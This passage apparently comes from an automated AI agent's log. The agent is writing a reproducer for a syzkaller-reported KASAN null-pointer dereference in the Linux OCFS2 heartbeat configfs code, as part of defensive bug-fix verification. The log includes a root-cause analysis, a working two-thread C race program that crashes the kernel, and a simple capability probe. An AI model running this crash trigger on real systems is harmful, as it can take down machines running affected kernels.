The core of my worry then shifted: "What if one thread (T1) *successfully* maps slot data, and then another thread (T2) *fails* and calls `o2hb_unmap_slot_data`?" My initial analysis was leaning towards this being the problematic case. However, I then realized that the specific failure point I was targeting, the `sectsize != reg->hr_block_bytes` check, occurs *before* `o2hb_map_slot_data` is even called. This meant that if both threads failed at that particular check, `hr_slot_data`, `hr_slots`, and `hr_tmp_block` would *always* be NULL. Therefore, a double free was not a concern in *this specific scenario*.

This is when my attention pivoted to the `fput(reg->hr_bdev_file)` call. This was the key. I thought, "Okay, if T1 and T2 both fail at the `sectsize != reg->hr_block_bytes` check, they will both attempt to `fput(reg->hr_bdev_file)`." My critical realization was: "What happens if T1 successfully sets `reg->hr_bdev_file` to NULL *after* its `fput` call, and then T2 attempts to `fput` it again?" This is where the crash would occur: T2 would call `fput(NULL)`, leading to a null-pointer dereference. "Ah, this is exactly what we want for a reproducible bug!"

So, I solidified my strategy:

1.  **Setup the Environment:** I need to mount configfs and load the `ocfs2_nodemanager` module. Then, I'll create a cluster and a local node.
2.  **Create the Target:** Next, I'll create a heartbeat region. For the exploit, I'll set `blocks` and `start_block` to 1.
3.  **Introduce the Mismatch:** I'll open a block device (like `/dev/loop0`) and get its logical block size. The crucial step here is to set `block_bytes` (which is what `reg->hr_block_bytes` will eventually hold) to a value *different* from the block device's logical block size (e.g., 512 bytes for the device, but 1024 bytes for `block_bytes`).
4.  **The Race Condition:** I'll open the `dev` attribute of the heartbeat region *twice*, obtaining two independent file descriptors. Then, I'll spawn two threads. Each thread will write the block device's file descriptor to one of the `dev` attribute file descriptors in a rapid, tight loop.
5.  **Triggering the Bug:** This concurrent writing will cause a race condition within `o2hb_region_dev_store`. Both threads will initially pass the `if (reg->hr_bdev_file)` check. They will both open the block device. However, they will *both* then fail the `sectsize` check due to the deliberately introduced mismatch.
6.  **The Exploitable Outcome:** At this point, one thread will call `fput` on `reg->hr_bdev_file` and then set `reg->hr_bdev_file` to NULL. The *other* thread, still attempting to clean up, will then call `fput(reg->hr_bdev_file)`, which is now NULL. This is the point of failure – a null-pointer dereference caused by `fput` operating on a NULL file pointer.

I'm confident this strategy is sound and directly targets the root cause, leading to a reproducible null-pointer dereference. I'm ready to articulate this.


64/1 2026/09/04 20:42 loop
19m
65/2 2026/09/04 20:42 iteration 0
3m
66/3 2026/09/04 20:42 action If
0m Args:
map[OracleFeedback:]

67/3 2026/09/04 20:42 action merge-strategy
0m Results:
map[CurrentReproStrategy:An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.

### Root Cause Analysis

The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`. 

When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
   ```c
   out:
       if (ret < 0) {
           // ...
           fput(reg->hr_bdev_file);
           reg->hr_bdev_file = NULL;
       }
   ```

Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.

### Reproduction Strategy

To reproduce this bug reliably, we can intentionally force the `sectsize` check to fail while hammering the `dev` attribute from two threads.

1. **Setup Configfs and OCFS2 Cluster:**
   - Mount `configfs` and load the `ocfs2_nodemanager` module.
   - Create a cluster and a local node (`/sys/kernel/config/cluster/mycluster/node/mynode`).
   - Configure the node's `num`, `ipv4_port`, `ipv4_address`, and set `local` to `1`.

2. **Setup Heartbeat Region:**
   - Create a heartbeat region (`/sys/kernel/config/cluster/mycluster/heartbeat/myregion`).
   - Set `blocks` and `start_block` to `1`.
   - Open a block device (e.g., `/dev/loop0`) and query its logical block size (usually 512).
   - Write a deliberately mismatched value (e.g., 1024) to the region's `block_bytes` attribute to guarantee the `sectsize` check will fail.

3. **Trigger the Race:**
   - Open the region's `dev` attribute twice to obtain two independent file descriptors (this bypasses the per-file `configfs_buffer->mutex` serialization).
   - Spawn two threads pinned to different CPUs.
   - In a tight loop, both threads use `pwrite()` to write the block device's file descriptor string to their respective `dev` attribute file descriptors.
   - The race window is relatively large because `bdev_file_open_by_dev()` takes time, making the crash highly reproducible within seconds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, strlen(fd_str), 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, strlen(fd_str), 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d", dev_fd);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```]

68/3 2026/09/04 20:42 agent repro-generator
0m Model:
deep-reasoning

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Check if cluster subsystem exists
    struct stat st;
    res = stat("/sys/kernel/config/cluster", &st);
    if (res < 0) {
        printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] /sys/kernel/config/cluster exists.\n");

    // 3. Check for a block device
    int fd = open("/dev/loop0", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        fd = open("/dev/ram0", O_RDWR);
        if (fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] /dev/ram0 opened successfully.\n");
    } else {
        printf("[+] /dev/loop0 opened successfully.\n");
    }
    close(fd);

    printf("[+] All probes successful.\n");
    return 0;
}
]

Instruction:
You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 1: CAPABILITY PROBING (GENERATION) ===
You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement
to verify that the test environment has the necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).

Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when CapabilitiesVerified becomes true).

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

Strategy: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.

### Root Cause Analysis

The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`. 

When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
   ```c
   out:
       if (ret < 0) {
           // ...
           fput(reg->hr_bdev_file);
           reg->hr_bdev_file = NULL;
       }
   ```

Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.

### Reproduction Strategy

To reproduce this bug reliably, we can intentionally force the `sectsize` check to fail while hammering the `dev` attribute from two threads.

1. **Setup Configfs and OCFS2 Cluster:**
   - Mount `configfs` and load the `ocfs2_nodemanager` module.
   - Create a cluster and a local node (`/sys/kernel/config/cluster/mycluster/node/mynode`).
   - Configure the node's `num`, `ipv4_port`, `ipv4_address`, and set `local` to `1`.

2. **Setup Heartbeat Region:**
   - Create a heartbeat region (`/sys/kernel/config/cluster/mycluster/heartbeat/myregion`).
   - Set `blocks` and `start_block` to `1`.
   - Open a block device (e.g., `/dev/loop0`) and query its logical block size (usually 512).
   - Write a deliberately mismatched value (e.g., 1024) to the region's `block_bytes` attribute to guarantee the `sectsize` check will fail.

3. **Trigger the Race:**
   - Open the region's `dev` attribute twice to obtain two independent file descriptors (this bypasses the per-file `configfs_buffer->mutex` serialization).
   - Spawn two threads pinned to different CPUs.
   - In a tight loop, both threads use `pwrite()` to write the block device's file descriptor string to their respective `dev` attribute file descriptors.
   - The race window is relatively large because `bdev_file_open_by_dev()` takes time, making the crash highly reproducible within seconds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, strlen(fd_str), 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, strlen(fd_str), 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d", dev_fd);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```




69/4 2026/09/04 20:42 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 6343
							output: 474
							thoughts: 1916
						

Thoughts:
**My Thought Process for Generating the Minimal C Probe Program**

My primary objective here is to construct a lean C program that can effectively probe the target environment for the presence of specific kernel components and functionalities required to reproduce the "KASAN: null-ptr-deref Write in fput" bug, which is located within the `o2hb_region_dev_store` function in `fs/ocfs2/cluster/heartbeat.c`. The user has provided a strategy and a reproducer, but my immediate task is to create this *probe* program.

Crucially, I've been given strict constraints: I *cannot* use any compilation tools, build systems, makefiles, or kernel development directories on the target VM guest. This means no `gcc`, `make`, or `pkg-config`. Furthermore, I am forbidden from executing shell commands or external binaries, which invalidates the user's reproducer that apparently uses `system()`. All environment checks and probing must be done directly through standard Linux system calls like `open()`, `mount()`, `stat()`, `mkdir()`, `write()`, etc.

The probe program needs to verify three key conditions:

1.  **Configfs Mounting:** I need to ensure that `configfs` can be mounted, or is already mounted, at `/sys/kernel/config`.
2.  **`ocfs2_nodemanager` Access:** This involves checking if I can interact with the `ocfs2_nodemanager` kernel module. The user's strategy suggests this is related to creating directories within `/sys/kernel/config/cluster`.
3.  **Block Device Availability:** I need to confirm that a block device, such as `/dev/loop0` or `/dev/ram0`, is accessible for read/write operations.

My initial thought was to directly try mounting `configfs`. If it's already mounted (which is likely in many environments), `mount()` will return `EBUSY`, which is an expected and acceptable outcome. If it fails for other reasons, it's a critical issue.

Next, for the `ocfs2_nodemanager` check, I realized that the `cluster` subsystem within `configfs` is typically registered by this module. Therefore, checking for the existence of `/sys/kernel/config/cluster` using `stat()` seems like the most direct and compliant approach. If `stat()` fails with `ENOENT` or another error, it strongly suggests that either `configfs` isn't properly set up, or more importantly, the `ocfs2_nodemanager` module isn't loaded or registered. I considered if I could *create* the `/sys/kernel/config/cluster` directory, but that's not how `configfs` subsystems work; they are created by the kernel modules themselves. So, if `stat()` fails, it's a showstopper for this particular probe. I also briefly pondered if `ocfs2_nodemanager` might auto-load when I `mkdir` in `configfs`, but that's generally not the case unless the subsystem is already registered, or it's a specific feature of `configfs` that isn't guaranteed. Given the constraints, `stat()` is the way to go.

Finally, for block device access, I'll attempt to `open()` `/dev/loop0` with `O_RDWR`. If that fails, I'll try `/dev/ram0`. If neither can be opened, the environment is not suitable.

Putting this together, I've constructed a C program that:
1.  Attempts to `mount` `configfs` at `/sys/kernel/config`, gracefully handling the `EBUSY` error.
2.  Uses `stat` to check for the existence of `/sys/kernel/config/cluster`. If this fails, I'll exit, as it's a critical dependency.
3.  Tries to `open` `/dev/loop0` for read/write. If that fails, it attempts to `open` `/dev/ram0`. If both fail, it exits.
4.  If all these checks pass, it prints a success message.

The resulting C code embodies these steps, using only standard system calls and avoiding any forbidden operations. I will then package this C code for the `set-results` tool to generate the probe output.


70/4 2026/09/04 20:42 tool set-results
0m Args:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Check if cluster subsystem exists
    struct stat st;
    res = stat("/sys/kernel/config/cluster", &st);
    if (res < 0) {
        printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] /sys/kernel/config/cluster exists.\n");

    // 3. Check for a block device
    int fd = open("/dev/loop0", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        fd = open("/dev/ram0", O_RDWR);
        if (fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] /dev/ram0 opened successfully.\n");
    } else {
        printf("[+] /dev/loop0 opened successfully.\n");
    }
    close(fd);

    printf("[+] All probes successful.\n");
    return 0;
}
]

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Check if cluster subsystem exists
    struct stat st;
    res = stat("/sys/kernel/config/cluster", &st);
    if (res < 0) {
        printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] /sys/kernel/config/cluster exists.\n");

    // 3. Check for a block device
    int fd = open("/dev/loop0", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        fd = open("/dev/ram0", O_RDWR);
        if (fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] /dev/ram0 opened successfully.\n");
    } else {
        printf("[+] /dev/loop0 opened successfully.\n");
    }
    close(fd);

    printf("[+] All probes successful.\n");
    return 0;
}
]

71/3 2026/09/04 20:42 loop
0m
72/4 2026/09/04 20:42 iteration 0
0m
73/5 2026/09/04 20:42 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Check if cluster subsystem exists
    struct stat st;
    res = stat("/sys/kernel/config/cluster", &st);
    if (res < 0) {
        printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] /sys/kernel/config/cluster exists.\n");

    // 3. Check for a block device
    int fd = open("/dev/loop0", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        fd = open("/dev/ram0", O_RDWR);
        if (fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] /dev/ram0 opened successfully.\n");
    } else {
        printf("[+] /dev/loop0 opened successfully.\n");
    }
    close(fd);

    printf("[+] All probes successful.\n");
    return 0;
}
]

74/5 2026/09/04 20:42 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Check if cluster subsystem exists
    struct stat st;
    res = stat("/sys/kernel/config/cluster", &st);
    if (res < 0) {
        printf("[-] Failed to stat /sys/kernel/config/cluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] /sys/kernel/config/cluster exists.\n");

    // 3. Check for a block device
    int fd = open("/dev/loop0", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        fd = open("/dev/ram0", O_RDWR);
        if (fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] /dev/ram0 opened successfully.\n");
    } else {
        printf("[+] /dev/loop0 opened successfully.\n");
    }
    close(fd);

    printf("[+] All probes successful.\n");
    return 0;
}
]

75/5 2026/09/04 20:42 action If
0m Args:
map[CompilerError:]

76/3 2026/09/04 20:42 action run-c-repro
2m Results:
map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[   66.200632][   T33] audit: type=1400 audit(1788554639.885:203): avc:  denied  { transition } for  pid=5822 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.208123][   T33] audit: type=1400 audit(1788554639.885:204): avc:  denied  { noatsecure } for  pid=5822 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.214693][   T33] audit: type=1400 audit(1788554639.885:205): avc:  denied  { rlimitinh } for  pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   66.221020][   T33] audit: type=1400 audit(1788554639.885:206): avc:  denied  { siginh } for  pid=5822 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:23825' (ED25519) to the list of known hosts.
[   68.498062][   T33] audit: type=1400 audit(1788554642.185:207): avc:  denied  { write } for  pid=5833 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   68.541628][   T33] audit: type=1400 audit(1788554642.225:208): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[+] configfs mounted or already mounted.
[+] /sys/kernel/config/cluster exists.
[+] /dev/loop0 opened successfully.
[+] All probes successful.
[   68.553968][   T33] audit: type=1400 audit(1788554642.245:209): avc:  denied  { mounton } for  pid=5837 comm="syz-executor347" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   68.575707][   T33] audit: type=1400 audit(1788554642.245:210): avc:  denied  { mount } for  pid=5837 comm="syz-executor347" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
